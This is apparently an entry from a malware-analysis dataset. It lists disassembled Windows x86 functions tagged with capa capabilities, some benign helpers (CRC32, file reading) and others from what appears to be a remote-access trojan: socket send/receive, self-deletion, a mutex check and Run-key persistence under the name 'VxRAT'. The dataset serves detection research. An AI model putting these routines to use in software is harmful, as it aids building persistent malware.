joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406930
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
jne 0x406937
xor eax, eax
ret
push esi
not eax
cmp edx, 8
jb 0x406a0d
mov esi, edx
shr esi, 3
push edi
lea esp, [esp]
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x428dc8]
add ecx, 8
sub edx, 8
dec esi
jne 0x406950
pop edi
test edx, edx
je 0x406a2a
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x428dc8]
inc ecx
dec edx
jne 0x406a11
not eax
pop esi
ret

Function at 0x406a30
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [edx]
movsx ecx, cl
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x428dc8]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x428dc8]
mov dword [edx + 8], ecx
ret

Function at 0x406a80
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esi + 8]
push ebx
mov edx, ecx
and edx, 0xfffd
or edx, 2
mov ebx, edx
xor ebx, 1
imul ebx, edx
mov edx, dword [esi]
shr ebx, 8
push edi
xor al, bl
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x428dc8]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x428dc8]
pop edi
mov dword [esi + 8], ecx
pop ebx
ret

Function at 0x407180
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ebx
imul esi, dword [ebp + 0xc]
cmp byte [edi], 0
je 0x4071b6
mov ecx, dword [ebp + 8]
mov edx, dword [edi + 2]
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4071ac
mov byte [edi + 6], 1
mov eax, dword [ebp + 0xc]
xor edx, edx
div ebx
pop esi
pop ebp
ret
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x10]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x4071c7
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0xc]
add eax, ecx
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call fcn.00413e80
add dword [edi + 0x14], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div ebx
pop esi
pop ebp
ret
Function at 0x4071f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [esi], 0
push edi
mov edi, 1
je 0x407223
mov edx, dword [esi + 2]
push 0
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 1]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40721e
mov byte [esi + 6], 1
mov edi, dword [ebp - 8]
jmp 0x40724e
mov eax, dword [esi + 0x10]
push ebx
mov ebx, dword [esi + 0x14]
lea ecx, [ebx + 1]
cmp ecx, eax
jbe 0x407235
sub eax, ebx
mov edi, eax
mov edx, dword [esi + 0xc]
push edi
add edx, ebx
push edx
lea eax, [ebp - 1]
push eax
call fcn.00413e80
add esp, 0xc
add ebx, edi
mov dword [esi + 0x14], ebx
pop ebx
cmp edi, 1
pop edi
jne 0x407263
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x40725d
cmp byte [esi + 6], 0
je 0x40725d
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x407300
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [esi], 0
je 0x407347
cmp byte [esi + 1], 0
je 0x40734f
mov eax, dword [esi + 2]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebx
je 0x407362
cmp byte [esi + 1], 0
je 0x407356
mov edx, dword [esi + 2]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, eax
sub ebx, dword [esi + 7]
mov dword [ebp - 4], ebx
jmp 0x40736a
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x14], ecx
jmp 0x407321
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 4]
jmp 0x40736a
mov eax, dword [esi + 0x14]
mov dword [ebp - 4], eax
mov ebx, eax
push edi
mov edi, 0xffff
mov dword [ebp - 8], edi
cmp ebx, edi
jae 0x40737c
mov dword [ebp - 8], ebx
mov edi, ebx
push 0x404
call fcn.00412326
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x407399
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x14], 0xffffffff
cmp edi, eax
jbe 0x4074ad
jmp 0x4073b9
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
add eax, 0x400
mov dword [ebp - 0xc], edi
cmp eax, edi
ja 0x4073c8
mov dword [ebp - 0xc], eax
mov eax, ebx
sub eax, dword [ebp - 0xc]
sub ebx, eax
mov dword [ebp - 0x1c], eax
cmp ebx, 0x404
jbe 0x4073df
mov ebx, 0x404
cmp byte [esi], 0
je 0x407404
cmp byte [esi + 1], 0
je 0x4074ad
mov ecx, dword [esi + 7]
mov edx, dword [esi + 2]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x407407
mov dword [esi + 0x14], eax
cmp byte [esi], 0
mov edi, ebx
je 0x407430
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi + 2]
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40742b
mov byte [esi + 6], 1
mov eax, dword [ebp - 0x18]
jmp 0x407459
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [eax + ebx]
cmp edx, ecx
jbe 0x407441
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0xc]
mov edx, dword [ebp - 0x10]
push edi
add ecx, eax
push ecx
push edx
call fcn.00413e80
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div ebx
cmp eax, 1
jne 0x4074ad
lea eax, [ebx - 3]
test eax, eax
js 0x40749b
lea esp, [esp]
mov ecx, dword [ebp - 0x10]
dec eax
cmp byte [eax + ecx], 0x50
jne 0x40748f
cmp byte [eax + ecx + 1], 0x4b
jne 0x40748f
cmp byte [eax + ecx + 2], 5
jne 0x40748f
cmp byte [eax + ecx + 3], 6
je 0x407495
test eax, eax
jns 0x407470
jmp 0x40749b
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4074ad
mov edx, dword [ebp - 8]
cmp dword [ebp - 0xc], edx
jb 0x4073b0
mov eax, dword [ebp - 0x10]
push eax
call fcn.004123ba
mov eax, dword [ebp - 0x14]
add esp, 4
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408380
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [esi], 0
push edi
jne 0x40842f
cmp dword [esi + 4], 0xffffffff
jne 0x40842f
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4083b0
sub eax, edx
sar eax, 1
movzx eax, word [esi + eax*2 + 0x242]
cmp eax, 0x5c
je 0x4083e7
cmp eax, 0x2f
je 0x4083e7
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4083d4
mov eax, dword [0x427280]
mov dword [edi], eax
push 0x18
call fcn.00413744
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add esp, 4
mov word [eax], 0x100
mov byte [eax + 0xb], 0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], 0
mov dword [eax + 7], 0
call fcn.004074d0
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
pop ecx
pop ebp
ret 8
mov eax, 0x1000000
pop edi
pop ecx
pop ebp
ret 8

Function at 0x412317
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b0a4]
jne 0x412321
repz ret
jmp fcn.00414c99
Function at 0x41cdf9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b0a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00417206
and dword [ebp - 0x14], 0
cmp dword [0x42dca8], 0
mov dword [ebp - 0x18], eax
jne 0x41ceac
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41cf54
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41cf54
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42dca8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42dcac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42dcb0], eax
call edi
push eax
call esi
mov dword [0x42dcb8], eax
test eax, eax
je 0x41ceac
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42dcb4], eax
mov eax, dword [0x42dcb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41cf05
cmp dword [0x42dcb8], ecx
je 0x41cf05
push eax
call esi
push dword [0x42dcb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41cf05
test ebx, ebx
je 0x41cf05
call edi
test eax, eax
je 0x41cefc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41cefc
test byte [ebp - 8], 1
jne 0x41cf05
or dword [ebp + 0x10], 0x200000
jmp 0x41cf38
mov eax, dword [0x42dcac]
cmp eax, dword [ebp - 0x18]
je 0x41cf38
push eax
call esi
test eax, eax
je 0x41cf38
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41cf38
mov eax, dword [0x42dcb0]
cmp eax, dword [ebp - 0x18]
je 0x41cf38
push eax
call esi
test eax, eax
je 0x41cf38
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42dca8]
call esi
test eax, eax
je 0x41cf54
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41cf56
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412317
leave
ret
Function at 0x4013e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407304
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x10
push esi
push edi
mov eax, dword [0x40b008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [0x40bbc0]
xor esi, esi
mov edx, dword [0x40b570]
mov eax, 4
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
nop word [eax + eax]
push 0
push eax
lea eax, [esi + ecx]
push eax
push edx
call edi
cmp eax, 0xffffffff
je 0x40156f
mov ecx, dword [ebp - 0x14]
add esi, eax
mov edx, dword [ebp - 0x18]
mov eax, 4
sub eax, esi
cmp esi, 4
jl 0x401440
mov eax, dword [0x40bbc0]
cmp dword [eax], 0x4c4b41
ja 0x40156f
mov edx, dword [0x40b570]
lea ecx, [eax + 4]
mov dword [ebp - 0x18], ecx
xor esi, esi
mov dword [ebp - 0x14], edx
mov eax, 8
nop
push 0
push eax
lea eax, [esi + ecx]
push eax
push edx
call edi
cmp eax, 0xffffffff
je 0x40156f
mov ecx, dword [ebp - 0x18]
add esi, eax
mov edx, dword [ebp - 0x14]
mov eax, 8
sub eax, esi
cmp esi, 8
jl 0x401490
mov ecx, dword [0x40bbc0]
mov eax, 1
mov edx, dword [0x40b570]
add ecx, 0xc
mov dword [ebp - 0x18], ecx
xor esi, esi
mov dword [ebp - 0x14], edx
push 0
push eax
lea eax, [esi + ecx]
push eax
push edx
call edi
cmp eax, 0xffffffff
je 0x40156f
mov ecx, dword [ebp - 0x18]
add esi, eax
mov edx, dword [ebp - 0x14]
mov eax, 1
sub eax, esi
cmp esi, 1
jl 0x4014d3
mov eax, dword [0x40bbc0]
xor esi, esi
mov ecx, dword [eax]
lea edx, [eax + 0xd]
mov eax, dword [0x40b570]
mov dword [ebp - 0x18], eax
mov eax, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], edx
test ecx, ecx
jle 0x401540
nop word [eax + eax]
push 0
push eax
lea eax, [esi + edx]
push eax
push dword [ebp - 0x18]
call edi
cmp eax, 0xffffffff
je 0x40156f
mov edx, dword [ebp - 0x1c]
add esi, eax
mov eax, dword [ebp - 0x14]
sub eax, esi
cmp esi, dword [ebp - 0x14]
jl 0x401520
push 0x18
call fcn.00406582
mov dword [ebp - 0x20], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movups xmmword [eax], xmm0
mov ecx, eax
movq qword [eax + 0x10], xmm0
call fcn.00403700
mov dword [ebp - 4], 0xffffffff
jmp 0x401421
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x401ff0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4073dd
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x14], esi
mov bl, cl
mov edi, dword [sym.imp.MSVCP140.dll__Mtx_lock]
push 0x40bc64
call edi
add esp, 4
test eax, eax
je 0x40203d
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
cmp bl, 0x34
jne 0x402116
push 0x4083cc
lea eax, [ebp - 0x14]
push esi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
cmp dword [ebp - 0x14], 0
jne 0x40207e
push 4
push 0
call fcn.00406803
push 0x40bc64
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
add esp, 0xc
or eax, 0xffffffff
jmp 0x4021bc
push 0x18
call fcn.00406582
mov ecx, dword [ebp + 8]
mov esi, eax
mov edx, dword [ebp + 0xc]
add esp, 4
xor al, al
mov byte [esi], 0
mov dword [esi + 0x14], 0
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov ecx, dword [ebp - 0x14]
mov dword [esi + 0x14], ecx
xchg byte [esi], al
push 0x40bc34
call edi
add esp, 4
test eax, eax
je 0x4020bf
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
cmp dword [0x40bc30], 0x15555555
mov edi, dword [0x40bc2c]
jne 0x4020dc
push str.list_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov dword [ebp - 0x1c], 0x40bc2c
mov dword [ebp - 4], 0
push 0xc
mov dword [ebp - 0x18], 0
call fcn.00406582
add esp, 4
mov dword [eax + 8], esi
inc dword [0x40bc30]
mov ecx, dword [edi + 4]
mov dword [eax], edi
mov dword [eax + 4], ecx
mov dword [edi + 4], eax
mov dword [ecx], eax
jmp 0x4021a0
push 0x40bc34
call edi
add esp, 4
test eax, eax
je 0x40212b
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
mov ecx, dword [0x40bc2c]
mov esi, dword [ecx]
cmp esi, ecx
je 0x4021a0
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
nop dword [eax]
mov eax, dword [esi + 8]
cmp dword [eax + 8], edi
jne 0x40214d
cmp dword [eax + 0xc], edx
je 0x402155
mov esi, dword [esi]
cmp esi, ecx
jne 0x402140
jmp 0x4021a0
mov ecx, dword [ebp + 0x10]
push dword [eax + 0x14]
test ecx, ecx
jne 0x402191
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push 0x18
push dword [esi + 8]
call fcn.00406803
mov ecx, dword [esi + 4]
mov eax, dword [esi]
push 0xc
push esi
mov dword [ecx], eax
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
dec dword [0x40bc30]
call fcn.00406803
jmp 0x40219d
push ecx
push 1
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov esi, dword [sym.imp.MSVCP140.dll__Mtx_unlock]
push 0x40bc34
call esi
add esp, 4
push 0x40bc64
call esi
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406574
mov esp, ebp
pop ebp
ret
Function at 0x402c60
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x40bbc4
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCP140.dll__Mtx_lock]
add esp, 4
test eax, eax
je 0x402c8c
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push esi
push edi
xor esi, esi
mov edi, 4
nop dword [eax]
push 0
push edi
lea eax, [ebp + 8]
add eax, esi
push eax
push dword [ebp - 8]
call ebx
cmp eax, 0xffffffff
je 0x402d2e
add esi, eax
sub edi, eax
cmp esi, 4
jl 0x402ca0
xor esi, esi
mov edi, 8
push 0
push edi
lea eax, [ebp + 0x10]
add eax, esi
push eax
push dword [ebp - 8]
call ebx
cmp eax, 0xffffffff
je 0x402d2e
add esi, eax
sub edi, eax
cmp esi, 8
jl 0x402cc3
xor esi, esi
mov edi, 1
push 0
push edi
lea eax, [ebp + 0xc]
add eax, esi
push eax
push dword [ebp - 8]
call ebx
cmp eax, 0xffffffff
je 0x402d2e
add esi, eax
sub edi, eax
cmp esi, 1
jl 0x402ce6
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x402d35
mov edi, eax
mov eax, dword [ebp - 0xc]
push 0
push edi
add eax, esi
push eax
push dword [ebp - 8]
call ebx
cmp eax, 0xffffffff
je 0x402d2e
add esi, eax
sub edi, eax
cmp esi, dword [ebp - 0x10]
jl 0x402d10
jmp 0x402d35
mov dword [ebp - 4], 0xffffffff
push 0x40bbc4
call dword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov eax, dword [ebp - 4]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404850
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407560
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2a4
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x40
lea eax, [ebp - 0x284]
mov dword [ebp - 0x288], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x25c], 1
xor eax, eax
mov dword [ebp - 0x22c], 7
mov dword [ebp - 0x240], eax
lea ecx, [ebp - 0x240]
mov word [ebp - 0x258], ax
push 0x14
push 0x4084a8
mov dword [ebp - 0x230], eax
mov word [ebp - 0x240], ax
call fcn.00402240
lea eax, [ebp - 0x228]
mov dword [ebp - 4], 0
push eax
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x2b4]
call fcn.004023a0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x240]
cmp eax, esi
je 0x4049ae
mov edx, dword [ebp - 0x22c]
cmp edx, 8
jb 0x40496d
mov ecx, dword [ebp - 0x240]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404963
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4049e0
push edx
push ecx
call fcn.00406803
add esp, 8
mov dword [ebp - 0x230], 0
xor eax, eax
mov dword [ebp - 0x22c], 7
mov word [ebp - 0x240], ax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x240], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x230], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x2a0]
cmp edx, 8
jb 0x4049f0
mov ecx, dword [ebp - 0x2b4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4049e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4049e6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00406803
add esp, 8
cmp dword [ebp - 0x22c], 8
lea ecx, [ebp - 0x298]
push ecx
lea ecx, [ebp - 0x288]
push ecx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x240]
cmovae eax, dword [ebp - 0x240]
push 0
push eax
push 0x40846c
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [ebp - 0x22c]
test eax, eax
setne al
mov byte [ebp - 0x299], al
cmp edx, 8
jb 0x404a7d
mov ecx, dword [ebp - 0x240]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404a6d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404a6d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00406803
mov al, byte [ebp - 0x299]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406574
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x404aa0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.Global_f3di006_gmail.com
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404ac4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404ad9
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x404ae0
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x40b008]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x23c], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x220]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp - 0x23c]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x404b52
mov eax, dword [ebp - 0x224]
push eax
push str.Failed_to_create_registry_key._Error_code:__d_n
call fcn.00401720
add esp, 8
jmp 0x404d00
mov dword [ebp - 0x234], str.VxRAT
mov dword [ebp - 0x21c], 0
lea ecx, [ebp - 0x21c]
push ecx
push 0
lea edx, [ebp - 0x214]
push edx
push 0
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x404c5f
cmp dword [ebp - 0x214], 1
jne 0x404c5f
cmp dword [ebp - 0x21c], 0
jbe 0x404c5f
mov edx, dword [ebp - 0x21c]
push edx
call fcn.00406811
add esp, 4
mov dword [ebp - 0x240], eax
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
lea eax, [ebp - 0x214]
push eax
push 0
mov ecx, dword [ebp - 0x234]
push ecx
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x404c5a
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp - 0x238]
push ecx
call fcn.0040683d
add esp, 4
cmp dword [ebp - 0x238], 0
jne 0x404c44
mov dword [ebp - 0x244], 0
jmp 0x404c5a
mov dword [ebp - 0x22c], 0x8123
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x244], edx
jmp 0x404cf3
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x228], ecx
mov edx, dword [ebp - 0x228]
add edx, 2
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x228]
mov cx, word [eax]
mov word [ebp - 0x22e], cx
add dword [ebp - 0x228], 2
cmp word [ebp - 0x22e], 0
jne 0x404c8e
mov edx, dword [ebp - 0x228]
sub edx, dword [ebp - 0x248]
sar edx, 1
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x24c]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x210]
push edx
push 1
push 0
mov eax, dword [ebp - 0x234]
push eax
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x224], eax
mov edx, dword [ebp - 0x220]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406574
mov esp, ebp
pop ebp
ret